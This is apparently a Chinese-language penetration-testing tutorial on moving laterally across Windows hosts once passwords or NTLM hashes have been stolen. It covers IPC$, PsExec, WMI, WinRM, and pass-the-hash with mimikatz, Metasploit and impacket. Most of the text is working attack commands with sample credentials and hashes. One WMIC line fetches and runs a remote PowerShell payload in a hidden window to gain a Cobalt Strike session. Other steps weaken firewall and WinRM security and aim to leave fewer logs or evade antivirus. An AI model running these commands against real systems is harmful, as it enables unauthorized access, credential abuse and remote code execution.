这里接上 windows 抓取密码的帖子。
通过各种手段成功抓取密码后(明文或 hash),我们就能够登录目标机器了。但若通过远程桌面登录的话就会留下很明显的痕迹。
因此这里介绍各种能够远程执行命令的操作。

# IPC 管道 (关键词: 139、445 端口、Psexec、明文密码)

相关链接:
https://www.secpulse.com/archives/146441.html
https://mp.weixin.qq.com/s/_2caEI_IOj0yGWSf89E10g

IPC$(Internet Process Connection) 是共享 "命名管道" 的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并 以此通道进行加密数据的交换,从而实现对远程计算机的访问 场景:若只为了执行一些简单命令而登录远程桌面的话会显得特别麻烦, 利用账号密码能实现不登录对远程计算机的控制。 而只要建立了 ipc 通道连接,然后我们就能任意的远程访问目标机器的资源了。

# 使用

建立非空连接 (空连接就相当与匿名登录,这种情况下是没有任何权限的)

net use \\192.168.152.10\ipc$ "1qaz@WSX" /user:nsfocusad.com\administrator

469654f9-4f90-4097-a696-d5cc56b114e5-image.png

下载文件 (其他操作也差不多了,比如新建一个 bat 批处理命令,然后远程分发计划任务给目标机器执行。
详情:https://mp.weixin.qq.com/s/_2caEI_IOj0yGWSf89E10g)

copy \\192.168.152.10\c$\123.txt 123.txt

5f528828-a88f-4c3b-ba19-97b87820fe7e-image.png

# 相关工具:Psexec

%(#e81111)[缺点:会上传 psexesvc 到目标机器,并启动服务,在日志中存在记录,偶尔还会出现退出后服务删除失败的情况。可以的话尽量使用 WMI 或者 wmirm]

1. 通过 ipc$ 连接,释放 psexecsvc.exe 到目标
2. 通过服务管理 SCManager 远程创建 psexecsvc 服务,并启动服务。
3. 客户端连接执行命令,服务端启动相应的程序并执行回显数据。
4. 运行完后删除服务。这个在 windows 的日志中有详细的记录,另外 psexec 在少数情况下会出现服务没删除成功的 bug,所以一般不推荐使用 psexec,推荐 wmiexec
63408e80-3fe4-483a-8595-02523f8d737c-image.png
39ef17cf-0d94-4e3d-b130-161d53982b27-image.png

# 具体使用

建立远程连接:
建立连接的方式有两种,一种是先建立 ipc管道,然后直接使用。 net use \\192.168.152.10\ipc "1qaz@WSX" /user:administrator
然后就直接可以执行 psexec,不需要使用 - u -p 参数进行认证

另一种就是直接在 psexec 的参数中指定账户密码
psexec.exe \192.168.0.1 -u administrator -p password

# 参数说明

-u 指定本次 IPC 登录用户名
- p 指定本次 IPC 登录的密码 (PS,若目标机子密码和你的一样,则不输入也行,所以域管能登任何机器)
-s 就是以 system 身份
- I 就是交互式,意思是显示到对方窗口,你没法输入命令 (和权限有关,如 administrator 权限那么若对方以 administrator 登录,则能成功看,其他都看不了,而 system,administrator 可以看)
-d 执行命令后返回,不等待命令结束
- c 将指定的可执行文件复制到远程系统然后执行。如果省略此选项,则应用程序必须位于远程系统上的系统路径中。

# 实例

①以 system 权限获取交互 shell

psexec  \\192.168.152.10 -u administrator -p 1qaz@WSX -s cmd

9b2caa27-abed-47f1-b26a-ce289dcb94dc-image.png

②复制本地 exe 到目标系统然后执行

C:\Users\momo\Desktop\PsExec64.exe \\192.168.152.10 -u administrator -p 1qaz@WSX -d -c C:\print.exe 
#复制本地C盘下print.exe到目标机子C:\Windows目录下,然后执行。

363bb1a4-946d-412e-a0c2-27ed4cfad4de-image.png

把 exe 上传到了 C:\windows\ 目录下,并成功执行

31335c09-f3d1-4d99-962f-5123d43dba31-image.png

d0a1aca3-2708-44c7-a480-b7fe209453a4-image.png

③直接执行远程 exe(上面的语句不要 - c 参数)

C:\Users\momo\Desktop\PsExec64.exe \\192.168.152.10 -u administrator -p 1qaz@WSX -d C:\print.exe

3a8c383e-6d7b-4236-878e-3b4c0dc96caf-image.png
1e49439d-0b45-46ed-8935-719d3d0be32f-image.png

# WMI (关键词:135,WMIcmd)

参考链接:
https://forum.90sec.com/t/topic/1194

WMI 是一项核心的 Windows 管理技术,WMI 作为一种规范和基础结构,通过它可以访问、配置、管理和监视几乎所有的 Windows 资源,比如用户可以在远程计算机器上启动一个进程;设定一个在特定日期和时间运行的进程;远程启动计算机;等等。WMI 在 Windows 操作系统默认安装且开放服务端口 135,而且 %(#f91010)[执行过程在内存中进行,不会留下任何痕迹。]

Windows 有自带的 WMIC,但是通过自带的虽然能执行命令,但是无法得到回显。
而利用工具 WMIcmd 的话,能回显。

# 自带的 wmi(无回显,这里用 ps 让目标上线 cs)

wmic /NODE:192.168.152.77 /user:"test.com\momo" /password:"password" PROCESS call create "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://1.1.1.1/Tencent'))\""

需要在 cmd 中执行

a15b0b1f-5b73-4db0-96b7-c531ef5b70a5-image.png
5b45157e-042f-4137-9607-8a3c15a6f057-image.png

# WMICMD(我这边可能是环境问题,不好用)

WMI 在平常利用的中一般情况会执行命令输出回显到文件中,在建立连接后使用 type 来查看,但在目标不开放 445 的情况下不可用。在 wmicm 中,是将执行后的结果插入了注册表,然后在读取注册表中的值来完成不依赖 445 的回显。其实可以新建一个 wmi 类来储存结果,再去获取其中的值,这样就不用了直接对注册表进行操作也能实现不依赖 445 的回显。

链接:https://github.com/nccgroup/WMIcmd/releases

ded0fffb-df45-46a2-b0d7-cc9d589847a3-image.png
c97aee56-3a13-42db-bf2a-a5c6d8e34614-image.png

# WMIHACKER

https://github.com/360-Linton-Lab/WMIHACKER
前面的 WMIEXEC 执行命令是通过调用 Win32_Process.create 来执行命令的,而这个 api 被杀软重点关注,而该工具则对其进行了免杀 (我没测过,不知免杀效果如何)

# 获取交互 shell

cscript WMIHACKER_0.6.vbs /shell 192.168.152.10 nsfocusad.com\administrator "1qaz@WSX"

369fb4e6-8ee5-4ca8-8c7f-06a8cda933fb-image.png

# 文件上传

cscript WMIHACKER_0.6.vbs /upload 192.168.152.10 nsfocusad.com\administrator "1qaz@WSX" "C:\Users\momo\Desktop\wmiexec.exe" "C:\777.exe"
# 复制本机calc.exe到远程主机c:\calc.exe

be5b1dcb-ef85-4285-8eac-8d3e569f634b-image.png

cfb7b91d-f3b4-401c-9cb8-a91b125eeee1-image.png

# Winrm (关键字:5985-http,5986-https)

参考链接:
https://www.cnblogs.com/renhaoblog/p/13497027.html
http://www.361way.com/winrm-quickconfig/6370.html
http://k8gege.org/Ladon/WinrmScan.html

WinRM(Windows Remote Management)windows 远程管理,这个是基于 powershell 的功能,一个形象的类比就是 ssh 之于 linux
Server2008R2 及往上的系统中默认中都开启该服务,从 Server2012 系统后开始,该 WinRM 服务便被设置为默认开启。Win7 系统中却默认安装此 WinRM 服务,但是默认为禁用状态,Win8 系统和 Win10 系统也都默认开启 WinRM 服务。
PS:想要用 https 操作的话,需要绑定证书,操作较繁琐。
https://docs.microsoft.com/zh-CN/troubleshoot/windows-client/system-management-components/configure-winrm-for-https

目标服务器开启

启动 winrm 服务,并绑定到 5985 端口(cmd 中输入):

winrm quickconfig 
winrm set winrm/config/service/auth @{Basic="true"}
winrm set winrm/config/service '@{AllowUnencrypted="true"}'
winrm set winrm/config/Client @{TrustedHosts="*"}

#防火墙策略(ps 中输入)

Set-NetFirewallRule -Name "WINRM-HTTP-In-TCP-PUBLIC" -RemoteAddress Any

若出现如图错误则输入下述命令:

Set-Item WSMan:localhost\client\trustedhosts -value * -Force
#语句的意识是接受被管理的机器是受信任的(PS:没搞懂什么操作,连接别人,还要对自己授权)

db84d203-a58f-4f03-bb19-2b4df5758b65-image.png

# 远程命令执行

winrs -r:http://192.168.152.10:5985 -u:nsfocusad.com\Administrator -p:1qaz@WSX "ipconfig"

f92ffe6e-df91-4de2-a563-66b17885c906-image.png

# 交互 shell

winrs -r:http://192.168.152.10:5985 -u:nsfocusad.com\Administrator -p:1qaz@WSX cmd

569b6246-e7bd-4dfe-a9be-c1dd2ed5957b-image.png

# 隐蔽或者端口绕过操作

若目标只允许 80,443 等指定端口流量入站,那么我们就需要把 winrm 的监听端口进行更改绑定或新增监听。(当然搭代理也行,但是动静肯定是有点大的)这里我们可以通过新增监听端口来完成。
PS:会和原端口冲突,若 80 已绑定了 http 服务,那么会报如图错误

8d896662-d8ec-4b57-accc-917b8cd2497c-image.png

下面语句是固定绑定 80 的。

winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}

12b359ef-d9cd-41c0-ac09-01754a6b38c5-image.png

winrm enumerate winrm/config/listener
#查看端口监听情况

8ac5425c-2938-41d4-88f4-50df7773c2cc-image.png

# 自定义绑定端口

set-item  wsman:\localhost\listener\listener*\port 1234
PS:记得防火墙放行指定端口
netsh advfirewall firewall add rule name="test" dir=in protocol=tcp localport=1234 action=allow

a95913ab-aa27-41d4-b7a1-65666534f503-image.png
afb59b2a-9003-4629-b856-2c50575aa6b5-image.png

# PTH 攻击 (关键词:hash 登录)

参考链接:
https://blog.csdn.net/weixin_30500473/article/details/94863024
https://www.cnblogs.com/bmjoker/p/10355979.html

简介:
早期 SMB 协议在网络上传递是明文的 username 和 password,后来出现了简称为 LM 的局域网管理挑战应答机制(LAN Manager Challenge/Response),后来微软又开发了 WinNT LAN Manager Challenge/Response,简称 NTLM。
而这种认证方式就带来了 PTH(pass-the-hash)攻击。(具体认证过程可以参考上述链接)
攻击者可以直接通过 LM Hash 和 NTLM Hash 访问远程主机或服务,而不用提供明文密码。

但自 windows10 发布以来,LM hash 就不再使用了,但是这次我们用到的工具,在 NT 和 LM 时代就已经有了,所以在这些工具中,我们将使用 32 个 0 的字符串来代替 LM hash 值。

 Windows系统下的hash密码格式为:用户名称:SID中的RID:LM-HASH值:NT-HASH值,例如:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:dc4ebae9869037416dfa4b5c7a1bcda7:::

这里简单介绍 RID 是什么,RID 是指相对 ID(RID)、是 SA 所指派的一个惟一的、顺序的编号、代表一个安全主体(比如一个用户、计算机或组)
500-999 的 RID 被专门保留起来、表示在每个 Windows 计算机和域中通用的账户和组。指派给用户、计算机和组的 RID 从 1000 开始。

# 使用 mimikatz 将凭证注入当前会话

%(#e41111)[缺点:运行需要以管理员权限启动,否则会报错。鸡肋。]

62b153d9-62f2-495f-ac3d-62cb8466a7f5-image.png

原理:
用户在登录后会生成很多凭证数据保存在本地安全权限服务的进程内存中(LSASS),为了
方便用户对资源访问时,不再会被提醒。凭证数据包括 NTLM 密码哈希,LM 密码哈希,或
者是明文密码。因此若把目标账号凭证注入当前会话内存中,就能成功得到目标的权限。

这里为了体验效果,先注册一个普通域账号,一般域账号无权限登录域控。
而我域就一台机子,因此想要用这个账号登录域控的话建议将这个普通域账户加到 Account Operators/Administrators/Backup Operators/Print Operators/Server Operators 中任意一个群组
59f107d6-9a2d-4763-aec7-67487722daf1-image.png

以管理员权限运行 mimikatz,生成凭证并注入会话。会回弹一个对应权限的 cmd。

privilege::debug
sekurlsa::pth /user:administrator /domain:nsfocusad.com /ntlm:161cff084477fe596a5db81874498a24

e0813271-5c35-4ff2-9d56-d11867670467-image.png

# MSF SMB_Psexec(445 端口。)

原理:利用 IPC$ 管道执行 powershell 回弹。

use  exploit/windows/smb/psexec
set payloads windows/x64/meterpreter/reverses_tcp
set lhost 192.168.152.133
set lport 7777
set rhosts 192.168.152.77
set SMBDomain test.com
set SMBUser momo
set SMBPass aad3b435b51404eeaad3b435b51404ee:d882ea565fbecb59266ea2ca5dbd8aa6  #前面为LM,后为NTLM

480c6668-84a0-4179-a0dd-a8f2621b24e4-image.png
a4271d5c-d47b-4a14-8259-9c225e024b1b-image.png
0faabfd4-3a0c-4518-ba3a-3b88e01cdeb0-image.png

# WMI pth 攻击 (135 端口,推荐)

impacket 下载
https://github.com/cube0x0/impacket

Impacket 有一个脚本可以利用 WMI 来获得靶机的会话并执行各种任务。执行这些任务需要用户的凭证。同样地,我们不用密码,直接使用 hash 值,看看能不能通过这个脚本获得靶机的会话。需要设置的参数,用户名,IP 地址,hash 值:
用户名处不需要加域

python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:d882ea565fbecb59266ea2ca5dbd8aa6 momo@192.168.152.77

7f1e6935-12a7-43af-98fe-bae440ff1b51-image.png

# RPC pth 攻击(只能获取一些 RPC 信息)

RPC,也就是远程过程调用,它是一种协议,应用程序可以通过 RPC 来调用网络中其他远程系统上的特定服务。如果我们能在认证过程中传递 hash 值,我们就能从特定的靶机上获取一些基本的终端信息。

Impacket 脚本下的 rpcdump.py

python3 rpcdump.py -hashes aad3b435b51404eeaad3b435b51404ee:d882ea565fbecb59266ea2ca5dbd8aa6 test.com\momo@192.168.152.77

3b4416a3-f724-415f-b176-5d4e1b546af8-image.png

PTH-rpcclient
kali 自带的

pth-rpcclient -U test.com/momo%aad3b435b51404eeaad3b435b51404ee:d882ea565fbecb59266ea2ca5dbd8aa6 //192.168.152.77

a45bac55-a65b-4bcd-9406-2839fe697e9d-image.png